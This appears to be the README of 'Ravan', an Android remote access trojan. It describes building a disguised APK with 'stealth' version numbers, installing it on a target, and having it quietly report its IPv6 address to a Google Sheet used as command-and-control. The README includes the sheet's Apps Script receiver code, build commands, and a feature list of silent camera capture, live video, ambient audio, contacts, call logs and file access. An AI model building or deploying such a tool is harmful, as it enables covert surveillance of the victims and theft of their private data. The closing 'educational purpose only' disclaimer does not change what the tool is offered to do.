"Why do I need a server? Wait, I don't!"
During security research, we discovered a fascinating behavior in modern Android networking. When an Android device connects to mobile data (and many modern WiFi networks), it is assigned a Public IPv6 Address.
Unlike IPv4, which is heavily NAT'd (Network Address Translation) and requires complex Port Forwarding to access from the outside, IPv6 addresses are often directly routeable on the public internet.
- Local HTTP Server: The app starts a lightweight HTTP server on the Android device (Port 8080).
- The IPv6 Feature/Bug: Because the device has a Public IPv6, you can access this server directly from anywhere in the world just by typing the IP address in your browser. No router config, no firewall bypass, no NGROK.
- The Problem (Dynamic IPs): Mobile networks rotate IPs frequently. Your target's IP changes every time they reconnect.
- The Solution (Google Sheet): We use a simple Google Sheet as a "Command & Control" (C2) tracker. The app detects its own Public IPv6 and quietly posts it to your Google Sheet. You open the sheet, click the link, and you are connected directly to the device.
TL;DR: We turn the Android phone into a public web server and use Google Sheets as a dynamic phonebook to find it.
No Port Forwarding. No Server. Just a Google Sheet.
Control devices using just a Google Sheet!
- β No need for port forwarding
- β No server setup required
- β Works behind any firewall/NAT
- β Control from anywhere with just a Google Sheet
Star β this repo to stay updated!
New features drop every week. Star β this repo to stay updated!
Got ideas? Open an issue or DM me. Contributions welcome!
cd builder
.\build.ps1cd builder
chmod +x build.sh
./build.shNew Builder v2.0 Features:
- Signed & Unsigned APKs: Automatically generates both
signed.apk(for release) andunsigned.apk. - Advanced Identity: Customize App Name, Package Name (ID), and Min SDK.
- Stealth Mode: Randomly generates Version Name and Version Code to look like legitimate updates.
- Smart Logo:
- Automatically resizes any image to all Android densities.
- Optional Transparency Generation (removes white backgrounds).
- Forces "Legacy Mode" to bypass adaptive icons on newer Androids.
π For detailed build guide, read Builder README
Device Access
- π File Manager: Browsable directory of the entire phone storage.
- π Call Logs: Read-only view of recent calls.
- π₯ Contacts: Dump of local contacts.
- π± Device Info: Battery, Model, Android Version.
Surveillance
- πΈ Remote Camera: Trigger front/back camera to take silent photos.
- π₯ Live Stream: Watch a low-latency MJPEG stream from the device.
- π€ Audio: Listen to ambient background noise.
- Build & Install: Create the APK using the builder and install it on the target.
- The Link: The app will automatically POST its location to your Google Sheet.
- Format:
http://[IP_v6_Address]:Port/ - Example:
http://[2409:40e2:209c:1f7a:xxxx:xxxx:xxxx:xxxx]:8080/
- Format:
- Connect: Click the link in your Google Sheet.
- Control: You will see the Ravan Web Panel running directly on the phone. All commands sent go straight to the device, and data comes straight back to you. P2P at its finest.
![]() |
![]() |
![]() |
![]() |
![]() |
|
![]() |
![]() |
![]() |
Want device IPs in a spreadsheet?
- Create Google Sheet
- Extensions β Apps Script
- Paste this UPDATED code:
function doPost(e) {
var sheet = SpreadsheetApp.getActiveSpreadsheet().getActiveSheet();
var data = JSON.parse(e.postData.contents);
// Get current date/time
var timestamp = new Date();
// Add row with: Timestamp | IP | Port | Device Name | Clickable Link
sheet.appendRow([
timestamp,
data.ip,
data.port,
data.device,
data.link, // <--- NEW! Direct Clickable Link
]);
return ContentService.createTextOutput("Success");
}- Deploy β Web App β Anyone
- Copy URL β Paste in builder when asked.
ravan/
βββ ravanrat.png # Logo
βββ builder/
β βββ build.sh # Linux/Mac
β βββ build.bat # Windows CMD
β βββ build.ps1 # Windows PowerShell
β βββ output/ # Built APKs (Signed & Unsigned)
βββ app/ # Android source
Found a bug? Have an idea?
- Open an issue
- Submit a PR
- DM me on LinkedIn
All contributions welcome!
Somesh
Educational purpose only. Don't use without permission. I'm not responsible for misuse.
MIT License
β Star this repo for updates!










